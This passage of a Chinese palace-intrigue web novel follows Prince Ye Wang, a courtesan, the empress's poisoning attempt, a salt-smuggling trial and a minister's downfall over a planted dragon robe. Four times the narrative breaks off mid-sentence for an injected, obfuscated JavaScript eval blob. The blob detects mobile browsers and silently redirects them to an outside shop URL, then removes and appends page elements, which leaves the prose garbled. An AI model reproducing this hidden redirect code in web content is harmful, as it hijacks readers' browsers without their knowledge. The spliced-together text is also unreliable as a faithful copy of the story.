他一介小民，若真惹着不该惹的，怕是难逃其咎。 想到这儿，他脸上的横肉抽搐了几下，狠狠剜了楼上人一眼。 “来日方长，我们走！”他抄起棍棒，一行人浩浩荡荡地离去。 丝竹声复又响起，曲怜儿僵立在台上，面色苍白。 “殿下，人走了。”寒芳落回房掩上门，正声道。 叶望坐于窗边，手中捧着一盏热茶。情况比想象中顺利，千金坊的人明面上对他有所忌惮，难道是他多想了？ 正想着，门外传来侍女的声音：“阁主，怜儿姑娘晕倒了。” 寒芳落闻言起身开门：“好端端的，怎得晕倒了？”她顺着侍女的方向看过去，只见曲怜儿闭着眼，脸色煞白，被两男子架着，其中一位甚为眼熟。 来不及多想，她将门开大了些，让至一侧：“快扶她进屋吧。” 季辞秋架着曲怜儿，心有余悸。那群恶棍刚走，她稍稍放松下来，冷不防一女子路过，忽地晕倒在她身上。 她垂眸，用力托着她迈入房门。叶望负手立于一侧，见着她，目光闪了闪。 “身子并无大碍，”老鸨略通医术，把脉瞧了瞧，“许是方才那些人闯入，叫姑娘受了惊吓。” “那便好。”寒芳落点头。 床上的曲怜儿蹙着柳眉，齿间溢出细细呻|吟。 寒芳落看了眼一旁一言不发的叶望，悄声道：“叫人送些姜汤来，其余人退下吧。” 叶望回过神来，见季辞秋垂头退出，欲言又止。 “殿下......”曲怜儿睁开眼，怯声道，“妾身失仪，叫殿下受惊了。” “无碍，”叶望皱了皱眉，“姑娘体弱，当多修养。” 曲怜儿微微叹了口气：“方才妾身见那壮汉目光如刀，盯着妾身似要生吞活剥一般，一时恶寒攻心才晕倒。” 她长睫轻颤，怯生生瞥了叶望一眼，咬了咬下唇：“殿下回京后，怜儿还不曾为殿下接风洗尘。怜儿近日新学了些曲子，不知殿下……可有想听的？” “姑娘晕倒方醒，多休息才是。”叶望婉拒。 “这副身子怜儿早已习惯，不妨事的，”曲怜儿微微撑起身子，披帛滑下，露出半抹香肩，“怜儿毕竟......是殿下的人了，不能为殿下排忧，怜儿心中过意不去。” 叶望移开视线，扼袖立于一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907345|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁，欲言又止。他眼神复杂地看了床上人一眼，终是沉沉道：“曲姑娘，本王为何签了你的梳拢，想必姑娘心里清楚。” 曲怜儿一愣，垂下眼来。那日阁主外出办事，她被兵部侍郎之子纠缠，众人在一旁看着，无一人敢上前。就在她要被那群纨绔拖上楼时，叶望亮了自己的身份，轻飘飘地说看上了她，要签她的梳拢。 她当然明白为何签她，可那一刻，她的心还是不受控制地跳得厉害。 或许，殿下对她有些不同呢，她总是存着这样的希冀。 可叶望确是从未碰过她，只是来她房中坐着，久久地凝望窗外，近在咫尺，却触不可及。 她好像从未走入他的世界。 曲怜儿这样想着，心中不知为何隐隐抽痛，险些逼出泪来。 “签了本王的梳拢，姑娘无须为人排忧，且无拘束地活吧。”叶望看着她，定定道。 无须为人排忧。她这样的身份，当真可以吗？ 曲怜儿鼓起勇气抬头，对上他浓墨般的眉眼，忽得想起那日他于人群中挺立而出时，亦是这般沉沉目光，坚定地令人心安。 “姜汤来了。”侍女的声音打破了沉静。 叶望往边上让了让，就势而出。 曲怜儿目送他离去，嘴角扬起一抹笑：“殿下所言，怜儿当谨记。” 那道挺拔的背影顿了一下，而后没有犹豫地离开了。 —— 五更天，长安城南一角。随着吱呀一声，一户不起眼的小院的木门被拉开，一身披玄黑斗篷的身影悄声入内。 院中等候多时的男子缓步上前，单膝跪地抱拳，喉中哽咽：“末将卫羽，见过五殿下。” “免礼。”叶望看着面前人，心中亦感慨万千，他解开斗篷的系带，二人在桌前坐下，一时竟不知该从何说起。 “殿下的伤恢复如何？”卫羽率先打破沉默，关切道。自从长平一战他守在郡中，与殿下分别后竟再未见过。当他得知殿下醒来的消息，以为很快便能相见，哪知殿下随后自请解了兵权，长林军亦被遣散。 起初他惶惑不解，不明白殿下为何就这样放弃了长林军。后来他留在京城，升任左武卫将军，才意识到皇城之下的暗流汹涌。他不得不刻意划清与叶望的界限，处处谨慎，以在这京中立足。 “季将军的事，我打听到了些......”卫羽沉声道，“京城这边的消息，是季将军有意隐瞒，弃要塞不顾而率大军北上云中郡与突厥会合。京中诏书卸将军兵权，将军抗旨不遵被斩。” “云中郡何异？” “据言郡中突现突厥大军，盘踞在此，迟迟不动。”卫羽如实道。 叶望皱了皱眉，季将军的死太过突然，细想起来处处蹊跷。他回京时背地里亦查过，但可用的信息少得可怜，无人知晓那时的云中郡中，究竟发生了什么。 “殿下，下一步该往哪里查？”卫羽有些迷茫。 叶望凝神沉思，神情凝重，私盐案尚未查清，朝堂已有蠢蠢欲动之势，眼下还需静待时机，不宜操之过急。 “按兵不动，”他沉静道，“先站稳脚跟，再步步为营。” 41. 焚舟 永春宫，陆容音沐浴梳洗完毕，在宫中静候。这几日，景帝每晚宿在新纳的沈贵人那，倒叫她轻松许多。只是今日不知为何，翻了她的牌子。 “陛下。”她眼见景帝姗姗而来，垂目乖顺道。 景帝看了她一眼，径直迈向床榻，挥手退下一旁的侍女。 “陛下今日怎得来永春宫了？”她款款上前，坐至景帝身旁。 “怎么？不欢迎朕？”景帝瞥了她一眼。 “陛下哪里的话，臣妾是为皇嗣着想，指着陛下雨露均沾。”陆容音覆上景帝的手，淡淡道。 景帝顺势拥她入怀：“你倒是贤良。” 陆容音笑笑，嘴角弯起刚刚好的弧度。 “此衣的颜色......朕不喜欢，”景帝摩挲着她的肩，皱了皱眉，“往后不要再穿了。” 陆容音微愣，看了看身上的裙衫，脑中一滞。 紫棠色缀藕荷，前皇后常穿。 她心中平静，自嘲一笑。这么长时间，自己竟忘了这茬。 景帝搂着她，闷咳了几声，有些怅然若失：“朕老了，虽日食药膳，近日却常觉精神不济、四肢无力。问了太医，只说脾胃不和，开些无用方剂。” “陛下莫要说这样的话，”陆容音垂着眼，脸上没什么表情，“许是近来政事缠身，叫陛下累着了。” 景帝闻言想起什么，目光阴沉，手上力道加重了些：“确是出了些事，眼下这些官员一个个胆大包天，打起国库的主意了。” 说的什么，陆容音心知肚明，她抬起身来，换上一副关切的神情：“陛下息怒，被这些人气坏了身子，不值当。” 景帝看了她一眼，叹了口气：“昨日太卜寺占龟卜择定吉日，兆纹曲折缠绕，乃不吉之兆。” “下月中便是秋祭了，朕亲下旨意，请飞来峰的宝荣道长出山作主祭，届时设坛祈祷，沟通三清，不知可能消散灾殃。” “陛下心诚至此，天神定能感召。”陆容音目光闪了闪，低声宽慰。 景帝点头，收紧臂弯：“还是容娘善解人意。” 陆容音柔柔一笑，见景帝面色缓和，虚虚提起叶朗：“朗儿这几日未来宫里，也不知去做何了。听侍奉的太监说，朗儿成日泡在文华殿中看书，陛下可知？” 景帝听了，抚须笑道：“既然这般说了，那便是了。朗儿这孩子允恭克让，文武兼修，倒是令朕心慰。” 陆容音又笑了起来，眉眼弯弯，溢出珠玉般的光彩。 —— 长安城以东，潼关峡谷。一队车马疾行而过，为首那人手执赤色驿旗，马身佩铃，踏起一地尘土。车队正中，关押着一蓬头垢面身着官服的男子，正是盐铁使刘桦。 暮色四合，峡谷中愈发幽静。两侧峭壁高耸，车轮碾过碎石的声音在谷中回荡，每一下都清晰可辨。 监察御史按马疾行，视线扫过寸草不生的岩壁，一股无名的压迫莫名涌上心头。他紧了紧缰绳，沉声道：“过了这里，很快便要到京城了，大家都精神些。” 其余人都挺了挺腰板。 峡谷静得异常，偶有石块滚落陡坡，声音由近及远，消失在幽深的谷底。 忽得，头顶传来阵阵轰鸣声，只见峭壁顶上滚下磨盘大的石块，重重砸在官道上。与此同时，两侧岩缝里射出数十支弩箭，数人应声倒地。 “有埋伏！”监察御史大骇，按住慌乱的马匹，努力镇静。 数十名埋伏者如猿猴般缘绳坠下，向着车正中的铁笼靠近。 监察御史看出这帮人的心思，大吼道：“保护人犯！”众人回过神来，刀剑出鞘，霎时打作一团。 官道上被巨石阻拦，行动不便，监察御史心中焦急，一边应付周围，一边缓慢朝铁笼靠近。 刘桦一路上蜷着身子昏睡，忽地被一阵剧烈的颠簸惊醒，睁眼时便见两拨人打作一团。正是空当，他努力直起身子，慌慌张张摆弄起笼子上的铁锁来。 奈何那铁锁坚固异常，纹丝不动，他急得满头大汗，见一人杀出重围，往这边赶来。 他心中涌起些微希冀，殷切地看着来人。哪知那人面露凶光，手中寒光一闪，欲一刀结果他的性命。 说时迟那时快，一枚飞镖倏地划过寂空，发出清脆的碰响。 几名蒙面人自黑暗中跃出，沉默地扑过来。埋伏的人显然未料到此，一时愣住，手忙脚乱地应付起来。 监察御史在一旁看着，心中疑惑。来的两拨人此时缠斗在一起，竟顾不上他们了。他赶忙趁乱摸到铁笼处，解了系带系到自己的马匹上，头也不回地往京城赶去。 “什么人？”眼见失手，埋伏之人气急败坏，向着对面狠狠刺过去。 蒙面人没回话，闪身避开，眼疾手快地抽出短匕，没入对方胸口。 “扑通”一声，那人应声倒地，口中涌出鲜血，已不能言。 “三殿下的人。”成影面无表情地看着地上抽搐的人，扫视一圈，确认无活口后，快步离开了。 —— “什么？！” 右仆射府，陆定年拍案而起。“你是说劫囚车失败，刘桦活着进京了？” “是。”部下匍匐在地，不敢抬头。 刘桦刚一入京，便被转送进御史台的诏狱。诏狱关得都是高官重犯，守备森严，连只苍蝇都进不去。 “明日御史台连同大理寺和刑部会审，”部下闷声道，心中惴惴，“仆射，眼下该如何？” 陆定年负手而立，两道眉拧成一道扭曲的麻绳。三司会审意味着什么，他心中明了。他曾见过大理寺审讯犯人的手段，那样的烈度刘桦不可能承受得住，必将和盘托出。 他重重呼了口气，强迫自己冷静下来。今日宫中传来消息，洪妃诞下皇嗣，圣人老来得子，龙颜大悦，明日宫中设宴，邀请王公贵族和朝廷重臣入宫庆贺。 “托人给皇后娘娘带个信。”他抬起眼，目光逐渐阴沉。 “东风急，可焚舟。” —— 永春宫，张灯结彩，钟鼓齐鸣。皇亲国戚与一众官员着吉服，按品级垂首肃立丹陛之下。 叶望端坐席上，浅浅扫了一圈，凝神沉思。昨日刘桦进京，按朝上的规矩，今日便要会审，不知会查出什么。 在广陵时初查案时，白轩若有若无地提过陆定年，但毫无根据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918385|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，令他困惑至今。 思及此，他抬眸看了一眼对面，见陆定年虽面色如常，但眼下乌青一块，似是疲惫至极。 他若有所思。 “五弟，广陵这一趟如何？”叶玄靠在一旁，慢悠悠地斟了盏酒，心情甚好。 “钟灵毓秀，风景宜人，确是块宝地。”叶望虚虚应道。 “女子呢？广陵那么些温香软玉，怎不见五弟带回来一个？”叶玄揶揄道。 叶望沉默，眉目淡淡。广陵的女子没什么印象，倒是身边有一个女子，偷梁换柱，行事随性，不知有何企图。 “皇兄呢，这么些年，也不见身边有个解语花？”叶望换了副面容，笑眯眯地反问。 听了这话，叶玄哈哈大笑：“本王见得女子多了，都差不多样子，是愈发无趣了。”他弯了弯嘴角，话锋一转，“不过近日倒遇上个有趣的......” 叶望对他的心思毫无兴趣，敷衍道：“那便恭喜皇兄了。” “五哥，你们聊什么呢？”叶朗凑过来，扬着脸好奇道。少年的声音逐渐沙哑，透着些青涩的成熟。 叶玄瞥他一眼，似是对他这副不谙世事的模样十分不屑，轻蔑一笑。火烧眉毛了，还毫不知情，真是愚钝。 说话间，御前太监执静鞭三响：“皇上、皇后驾到——”景帝与陆容音相挽着步入殿中。 “臣等恭贺皇上喜得麟儿，吾皇万岁，万岁，万万岁！”朝贺声在殿中回荡，景帝唇角含笑，抬手示意。 “赐宴——”身着灰青补服的太监捧着朱漆食盒潮水般涌入，悄然布满雕花紫檀宴桌。 陆容音看着面前摆在正中的盘龙玉碟，心中惶惑不安。若不是事先多扑了些粉黛，此刻她脸上一定苍白得吓人。 昨日收到兄长的消息，她枯坐宫中，心头铺了层霜，钻心地凉。 终归走到这步了吗？她心中哀切，想起懂事的朗儿，又一阵抽痛。 这荣华富贵她全不在乎，她只要她的朗儿好好的。想到这，藏于袖中的手攥紧了些。 方才她在膳食房验完毒后，趁空当偷偷往玉碟中下了药。这药是陆定年予她的第二包，一击毙命，不到万不得已不用。 她又看了一眼碟子，其中盛着驼蹄羹，鲜香醇厚，引着人跃跃欲试。 景帝今日似是愉悦，命侍女一盏接着一盏斟酒，没怎么动筷。 陆定年在下面朝她使了几个眼色，她沉默接了，未有行动。 她还是难过心中这关。弑君，她从未想过自己会与此关联，何况他还是朗儿的生父。 陆定年的脸色早已转为焦躁，她抿了抿唇，强打起精神，望着一旁的景帝柔声道：“陛下别光顾着喝酒，吃些旁的垫垫。”说着将一小碟羊前腿推至跟前。 景帝笑纳，毫无防备地送入口中。 陆容音定定看着，目光闪了闪，又盛了碗羹端至他面前。 “这驼蹄羹温润，醒酒是极好的。”她沉沉道，语气些微颤动。 她看着景帝接过，那碗赌上陆家前途的羹汤缓缓移至嘴边，不由自主地攥紧了拳。 哗啦一声脆响，青瓷落于地上，碎片溅了一地。 42. 困兽 “陛下，御史台急奏——”突兀的一声自殿外传来，惊得景帝周身一颤，瓷碗自手中滑落。伴随哗啦一声，宴席上的气氛一凝，吵嚷声渐弱。 “何事这般着急，不能留到明日朝上说？”景帝皱了皱眉。 来人匍匐在地，语速飞快：“启禀陛下，方才盐铁使刘桦在昭狱招了。” “哦？”景帝悠悠抬眸，“他都招了什么？” 来人顿了顿，展开加急书写的奏折，一字一句念道：“陛下圣鉴，经拘审讯问，刘桦对其罪行供认不讳。严鞠之下，刘桦供称此事皆受当朝右仆射指使，所得赃银七成分献陆府。” 此话一出，如平地惊雷，令在场静了一瞬。 “臣闻此供状五内震骇，控迟则生变，遂加急驰奏。证言已密封随呈，万望圣裁。”来人念罢，恭敬地将奏折连同密信举过头顶。 景帝坐在位上愣神，酒已醒了八分。消息太过惊愕，他接过信件扫了扫，沉默良久。 如奏折所言，刘桦称此事背后主使是陆定年，他不过是依言办事之人。 “陆仆射，”景帝喉腔中发出一声低吟，“你可认罪？” 扑通一声，陆定年应声跪下，头紧紧埋在地上，闷声道：“臣冤枉，请圣上明裁。” “此言何意?” “臣与刘桦确因公务有所往来，但与私盐绝非相关。他定是走投无路，信口拉臣下水，”陆定年稳了稳神，呼吸急促，“若非如此，怎得一道证据都无？” 景帝凝眸，看了看手中薄薄的卷轴，仅有证言，确无实质的证据。 “一家之言，不可为呈堂供状，还请陛下明鉴。” 宴席已然进行不下，众妃嫔闻此前朝大事，皆眼观鼻鼻观心，唯恐避之不及。朝中重臣和王公贵族各怀心思，亦噤声不语。 景帝直起身子，将密信往桌上一扔，颇为疲惫地揉了揉眉心。方才他听陆定年喊冤，一瞬间竟松了口气。朝堂上的明争暗斗，他并非浑然不知，只是习惯睁一只眼闭一只眼，由着各方势力在一定范围内争斗，是非黑白，最终还须由他定断。 他喜欢这样的平衡，并日益习惯。坦白说，他并不在意私盐案主使究竟是谁，该杀的杀，该罚的罚，叫那群人不敢再犯便是。可若是牵扯上陆定年，事情便复杂了。 费心维持的平衡不再稳固，但他不想打破。他老了，已不是雄心勃勃的年纪，只求稳稳当当，修仙问道，安享晚年。况且，陆定年虽心思深沉，但不似左仆射任经恒那般执拗，会揣度圣意，顺着他的心思办事，不可谓难得。 但证言在此，倘若陆定年果真行此事...... 景帝睁开浑浊的双眼，目光暗了暗：“陆仆射，朕虽信你，但御史台既得此证言，便需细加勘察。这阵子，你不用上朝了，全力配合调查罢。” “是。”陆定年应声。 “时辰不早了，散了吧。”他撑着椅靠徐徐起身，跃过僵坐席上的陆容音，径直离开了。 陆定年趴在地上，脊背早已被冷汗浸透。照现今的架势，刘桦手中确无与他相关的私证，那便还有转圜之地。 “陆仆射，请。”御史台的人侍立一旁，做出请的姿势。 他站起身子，掸了掸衣上沾染的灰尘，朝着那人指引的方向快步离开了。 —— 庆生宴上的一出，令朝堂蒙上了一层若有若无的阴影。私盐案的调查仍在继续，形势尚不明朗，众官只得一面竖着耳朵留意御史台的消息，一面按部就班地上朝。 “母后，母后，”叶朗立在永春宫外，急急拍着紧闭的宫门，“母后为何不见朗儿？” 咚咚的声响回荡在高墙之下，一宫女迈着碎步赶来，将宫门开了道缝，小声道：“小殿下，娘娘近日身子不适，暂不见客，殿下请回吧。”说着便要关门。 “朗儿不是客。”叶朗抵住宫门，用力地推开，朝里张望。 庆生宴上，他听了御史台的证词，错愕许久。后来想起前些日子母后无缘无故问他的明君良臣之辨，心下不安，遂想来问个明白。哪知母后一连几日闭门不见，令他心中的惶惑愈演愈烈。 无论如何，今日他定要见着母后，问个清楚。他一边想着，一边暗自使力。 宫女一声惊呼，忙召来另一人一同抵住，两方在宫门前僵持不下，沉重的朱漆木门发出低沉的吱呀声。 “朗儿，休要无礼。”陆容音缓缓自殿中而出。 叶朗闻声抬头，止了动作，隔着宫门看她。几日不见，她的脸上憔悴了许多，眼底的乌青愈加浓重，身子也分外单薄，仿佛一阵风就能吹跑。她淡淡看着他，脸上没什么情绪，像在看陌生人。 叶朗一时怔愣，心中后知后觉泛起丝丝缕缕的痛意，想问的话到嘴边，却怎么也问不出口。 他不敢问出口了。 倘若盐铁使说的是真的，倘若舅舅果真参与了私盐，倘若......他该如何自处？ 他不愿再往下想，只觉身上冷汗直冒，手脚发麻，再也呆不住，逃也似地离开了。 另一头，御史台诏狱，陆定年一身紫色云龙纹官袍，端坐在草垛上。因着身份特殊，自他被关进来，除了受人监视，其余一切均按最高规格招待，没吃什么苦头。 随着叮呤哐啷的声响，役卒提着一串钥匙打开牢门。 “做什么？”陆定年闭着眼，沉声问。 “陆大人，小人负责提审，您跟着小的便好。”役卒弓着身子抵住门，恭敬道。 陆定年负手跟着役卒走出牢房，路过刘桦时，见他蓬头垢面，眼里放光，激动异常地扑向他，被狱卒制止后仍不死心，蠢蠢欲动。他皱了皱眉，加快了步伐。 审讯间位于诏狱尽头的一间独立隔间，役卒将他带至门前便垂头退下，他深吸一口气，缓缓推开门。 “陆大人。”里头正中坐着的男子将近不惑之年，五官端正，头发一丝不苟地盘至脑后，以玉冠固定。 “姜中丞，”陆定年见到那人脸色一变，很快恢复，脸上浮起笑，“一别多年，再见竟是在这里，叫中丞见笑了。” “陆仆射哪里的话。”姜子洵看了他一眼，眼中无波无澜。前些日子，圣上忽得下令彻查私盐案，将审讯工作全权交予御史台处置。御史大夫工务繁忙，一时走不开，这审讯的担子便全落到他头上。 “开始吧。”他看了看左右的刑部侍郎和大理寺少卿，将卷宗翻开。 “陆大人，刑部查明三月份陆府同汇通钱庄有一笔大额账据，是为何用？” “三月......”陆定年低头沉吟，“三月府中老太太生辰，自钱庄换了银子作礼金。” “七月十四日同恒兴钱庄的呢？”姜子洵追问。 “上半年的职分田的租费未结，七月一并补上的。” 经过一通审问，陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928668|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定年对账目上的问题对答如流，未有迟疑搪塞之处。 姜子洵提笔，认真记下问讯的内容，一边道：“本官已知晓，今日先到这儿吧。” 刑部侍郎和大理寺少卿相继离开，他整理好卷册，交至侍奉一旁的侍御史手上，见陆定年立在原地未动。 “陆仆射，今日的问讯已毕，请回吧。”他没停下手中的动作，又理了理乱糟糟的台面。 “姜中丞，过去因容音的事与你不快，一直未有机会说清。” 听到久违的名字，他手中一顿，没吭声。 “那时并非陆某刻意刁难，乃是形势所逼，不得已而为之。”陆定年微蹙着眉，一副为难的神情。 姜子洵瞥他一眼，自顾自起身，面无表情道：“多年前的旧事了，陆仆射不必介怀。” 他步至铜盆前净手，压下面上难以掩饰的嘲讽：“陆仆射今日提起，想必是怕下官怀恨在心，趁机使绊。” “陆仆射大可放心，本官无意公报私仇。”他淡淡说着，径直出了讯室。 —— 天气愈发干燥，自从回了京，季辞秋便常觉脸上的膏体闷不透气，下面的皮肤也隐隐发痒。 “绿蔓，给季姑娘看看。”叶玄的目光在她脸上转了转，吩咐道。 门旁露出一角的影子微微一动，过了许久，才见绿蔓缓缓走出，瞟了一眼季辞秋，没好气道：“跟我来。” 入了房，她令季辞秋坐下，将易容的道具一字排开，捻起银匙轻轻一挑，紧贴着面的石膏便裂了一道口子。 “嘶——”膏体牵拉皮肤，季辞秋忍不住抽气。 “别动。”她冷冷道，没停下手中的动作。圆润细挺的秀鼻和娟秀的轮廓隐隐现出，她不由出神。 王爷喜欢这样的吗？ 她将膏体一整块揭下，看着她的脸，皱了皱眉。 许是闷得太久，被膏体覆盖的皮肤泛红，浮起细细密密的红点。 季辞秋忍不住伸手去挠。 “说了别动，”绿蔓截住她的手，有些不耐烦，“你若还想要这张脸，最好听我的。” 季辞秋悻悻收回手，密集的痒意涌上来，她不由得抓紧扶手，迫使自己冷静。 只见绿蔓捻起鲛绡帕擦净她的脸，自青瓷瓶中取出些什么抹在上面，顿时清凉舒缓了许多。 “姐姐好厉害。”她深吸一口气，由衷道。 绿蔓双手一顿，没理她，继续手上的动作。 “我知姐姐不喜我，是因三殿下，”季辞秋看她一眼，自顾自地说着，“但我只把殿下当主家侍奉，亦不想因此与姐姐生了嫌隙。” 绿蔓未曾想季辞秋说得这般直接，一时语塞。“为何同我说这些？” “因为姐姐不是坏人，”季辞秋眨眨眼，“若是存心害我，只怕我这张脸......” 绿蔓抿嘴不语，从药汤中取出一张薄薄的肠衣。 “这是什么？”季辞秋好奇道。 “人皮面具。”绿蔓无意多言，比量着眉峰，用银镊夹住上缘，从鼻梁向两颧推抚。 面皮严丝合缝，与真肤浑然一体，泛着活人血气。季辞秋换了张脸出来时，叶玄并未发现异样。 他虚虚靠在椅背，望着棋桌出神，目露精光。 “成影，有样东西需你送入陆府，”他执子落在棋盘，堵住对局最后一条出路，“切记勿要叫人发现。” 43. 倒台 经过绿蔓的妙手回春，季辞秋的面皮是保住了，可脖颈连着下颚的那块皮肤，开始如脸上一般，钻心地痒起来。 这痒意实在磨人，她微微挠了一下，便再也止不住。是以脖颈一片通红，看着着实瘆人。 “嚯，你脖子咋了？”季辞秋路过中庭，被葵生见着，惊道。 叶望在院中打坐，闻言睁开眼，望向她。 “风疹。”季辞秋含糊道，拢了拢衣襟，欲遮掩。 “什么风疹，这般严重？”葵生凑近看了看，见密密麻麻的红点，忍不住上手去摸。 “啧，”季辞秋眼疾手快地打掉他的手，恐吓道，“什么都摸，小心也染上。” “这东西会传染？”葵生收回手，诧异道，“不过万幸你这脸上倒还未有痕迹，可有看过郎中？” “不妨事的，只是看着吓人。”季辞秋闪烁其词，余光心虚地瞟了眼叶望，见他神色如常。 “真的？”葵生半信半疑。 被他这么一问，脖子上的痒意又死灰复燃，她忍不住伸手挠了挠，对上葵生质疑的眼神。 “哎呀，没事。”她拍了拍葵生敷衍道，唯恐吸引叶望的注意，头也不回地走了。 第二日，季辞秋像往常一样习武回来，推开房门，见桌上摆着一瓷瓶，打开来，里面是膏状物。 “这是甚么？”她凑近闻了闻，问院中扎步的葵生。 “哦，这个啊，”葵生瞥了一眼，“方才黎叔送来的，说是治风疹的药，见效快。” 季辞秋一愣，看了看他，迟疑道：“你......找黎叔要的？” 葵生头摇得像拨浪鼓：“我若要，昨日便帮你要了。” 季辞秋转了转手中的瓷瓶，低头沉吟，那便是黎叔无意中见了，寻郎中要的。 不然，总不能是叶望吧。 —— 夜静得出奇，因着陆定年尚在诏狱，陆府上下人心惶惶，沉浸在压抑的沉默中。 几团火把点亮了坊内，紧跟着披袍擐甲的禁军在府前聚拢，粗鲁地敲打陆府大门。 “来了来了。”深夜登门，府内人都觉是陆定年归来，怀着的小小希冀在下一秒便被无情扼杀。 “金吾卫搜查，闲杂人等退让。”为首那人举着澄亮的令牌，声音洪亮。 这一声叫府上人瑟缩起来，陆老太太被搀扶着自后院走出，看到这阵仗，面上惶惶：“大人，敢问这是怎么了，大半夜来查？” 金吾卫将军沈彻骑于马上，居高临下地瞥了她一眼，扬声道：“宫中接到密报，陆定年包藏祸心，证据藏于陆府，令我等核实。” “若有知情者，速速呈上，有赏。”话音刚落，金吾卫的士兵鱼贯而入，瞬间填满了陆府。 陆老太太随着府里的一众人僵立在原地，手足无措地看着士兵们在府中翻箱倒柜，心中已觉不好，却无计可施。 不知过了多久，忽地一队人马自某个角落大叫一声，“有东西！”紧接着便捧着一个深褐色的包袱送上来。 包袱拆开，里头是一件明黄色的衣裳。沈彻拿起，轻轻一抖，在场静了一瞬。 明黄的锦袍倏地展开，摇曳在夜色中，被火光映得更加灼目。遍体金绣，走线精细，前胸后背和两肩之上盘踞数条巨龙，颇有吞云吐雾的磅礴之势。 “这是......龙袍？”一人脱口而出，又慌忙闭嘴。 陆老太太已然浑身发软，跪倒在院中。“不可能，这不是陆府的！” “这么多双眼睛见着，从府中搜出来的，如何不是？” “府内从未见过此物，”老太太斩钉截铁，双目通红，“定是.....定是有人蓄意陷害，要置陆家于万劫不复！” 沈彻将包袱收入囊中，虚虚一笑，勒转马头：“这些话，老太太还是留到狱中说吧。” —— 右仆射包藏祸心，蓄意谋反，这事在刚上早朝时，便传得人尽皆知。 国相之位生变，事关国祚稳固，不知会牵扯出什么。朝堂上的众官皆心神不安，往常闹哄哄的大堂落针可闻，有山雨欲来之势。 没过多久，静鞭三响，景帝迈着沉沉的步子走来。 “入班——行礼——” 百官整齐跪拜。“吾皇万岁万岁万万岁！” 景帝缓缓坐下，脸色不大好看，他扫了一圈台下伏跪的众官，冷哼一声：“礼法做得周全，背地里不知做些甚么勾当。” 这话意有所指，众官心下了然，却只能屏声伏着，大气不敢出。 “任老，你说呢？”景帝觑了一眼跪在最前头的任经恒，因着陆定年出事，往常两人的位置空缺出一块，格外突兀。 “臣万死不敢。”任经恒的额首在地上砸出闷响，沉沉道。 景帝拂开眼：“御史台的案子查得如何了？” 姜子洵恭敬上前：“启禀陛下，那盐铁使一口咬定是陆定年所为，多次讯问从未改口。臣等查了陆府的账目，未见异样，但每笔账目的数额均被抹零凑整，像是刻意掩饰，下官还需细察......” “不必查了。”景帝打断道，颇为疲惫地往后靠了靠，“带上来。” 铁链当啷碰撞的声音响起，陆定年带着镣铐，被人押着踉跄而来。行至御前，腿弯被人猛地一踢，应声跪下。 景帝蜷在龙椅的臂弯里，静静打量着缩成一团的身影，眉目暗沉。 陆定年私藏的龙袍送至他面前时，他已有所决断。 这龙袍是否真是陆定年的，早已不重要。杀鸡儆猴，要的是态度，他既见了这衣裳，便决不会置之不理。 不严肃处置，不流血，怎得震慑众生，维护皇权的神圣不可侵犯？ 右仆射之位，大有人会补上。蹬鼻子上脸的事，他不会纵容。 他这样想着，沉沉开口：“陆定年身为右相，结党营私，贪污私盐，攫取利益。背地私藏龙袍，冒天下之大不韪，谋逆不轨。不严惩不足以正朝纲，不重罚不足以平民愤！” “即刻押赴市曹，凌迟处死，财产尽数充公。” 陆定年趴在地上，突起的脊背不受控制地颤抖，面如死灰。“罪臣利令智昏，辜负天恩，罪该万死。” “所有罪责，皆由罪臣一人而起，一人承担。皇后娘娘深居宫中，对此毫不知情。九殿下更是纯孝仁厚，与此事毫无瓜葛，万望陛下明察！”他抬起灰败的双眼，声音嘶哑，带着一丝恳求。 景帝深深看他一眼，继续道：“皇后陆氏，忝居中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938138|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫，虽未预谋，然有失察之过，深负朕望，有亏母仪。着即日起，褫夺协理六宫之权，移居西内长乐宫静思己过。非诏不得出宫门半步，内外命妇皆不得谒见。九皇子即日迁出宫闱，移居皇城东南隅明德园，非奉诏不得入宫。” 